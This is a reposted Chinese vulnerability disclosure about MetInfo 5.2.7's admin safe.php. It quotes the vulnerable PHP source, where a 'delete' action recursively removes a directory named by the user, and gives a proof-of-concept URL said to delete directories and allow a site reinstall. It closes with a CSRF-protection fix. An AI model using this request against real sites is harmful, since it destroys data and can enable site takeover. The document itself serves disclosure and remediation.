来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] Metinfo某漏洞可导致重装网站官方最新的5 2 7 (测试通过)问题出现在 metinfo admin system safe php?php MetInfo Enterprise Content Management System Copyright (C) MetInfo Co ,Ltd (http:...
Metinfo某漏洞可导致重装网站 官方最新的5.2.7 (测试通过)
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. require_once '../login/login_check.php'; $adminfile=$url_array[count($url_array)-2]; if($action=="delete"){ if($filename=='update')@chmod('../../update/install.lock',0777); function deldirs($dir){ $dh=opendir($dir); while ($file=readdir($dh)) { if($file!="." && $file!="..") { $fullpath=$dir."/".$file; if(!is_dir($fullpath)) { unlink($fullpath); } else { deldir($fullpath); } } } closedir($dh); if($dir!='../../upload'){ if(rmdir($dir)) { return true; } else { return false; } } } $dir='../../'.$filename; deldirs($dir); metsave('../system/safe.php?anyid='.$anyid.'&lang='.$lang); } if($action=="modify"){ if($met_adminfile!=""&&$met_adminfile!=$adminfile){ $met_adminfile_temp=$met_adminfile; $met_adminfile_code=authcode($met_adminfile,'ENCODE', $met_webkeys); require_once $depth.'../include/config.php'; Header("Location: ../index.php?lang=".$lang."&action=renameadmin&adminmodify=1&met_adminfile=".$met_adminfile_temp); }else{ require_once $depth.'../include/config.php'; metsave('../system/safe.php?anyid='.$anyid.'&lang='.$lang); } }else{ $localurl="http://"; $localurl.=$_SERVER['HTTP_HOST'].$_SERVER["PHP_SELF"]; $localurl_a=explode("/",$localurl); $localurl_count=count($localurl_a); $localurl_admin=$localurl_a[$localurl_count-3]; $localurl_admin=$localurl_admin."/system/safe"; $localurl_real=explode($localurl_admin,$localurl); $localurl=$localurl_real[0]; if(!is_dir('../../install'))$installstyle="display:none;"; if(!is_dir('../../update'))$updatestyle="display:none;"; $met_login_code1[$met_login_code]="checked='checked'"; $met_memberlogin_code1[$met_memberlogin_code]="checked='checked'"; $met_automatic_upgrade1[$met_automatic_upgrade]="checked"; $css_url="../templates/".$met_skin."/css"; $img_url="../templates/".$met_skin."/images"; include template('system/set_safe'); footer(); } # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?>
http://localhost/metinfo/admin/system/safe.php?anyid=12&action=delete&filename=test&lang=cn
过后尝试发起请求,test目录就被删除了
修复方案:增加一些防CSRF措施和只允许删除install目录 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com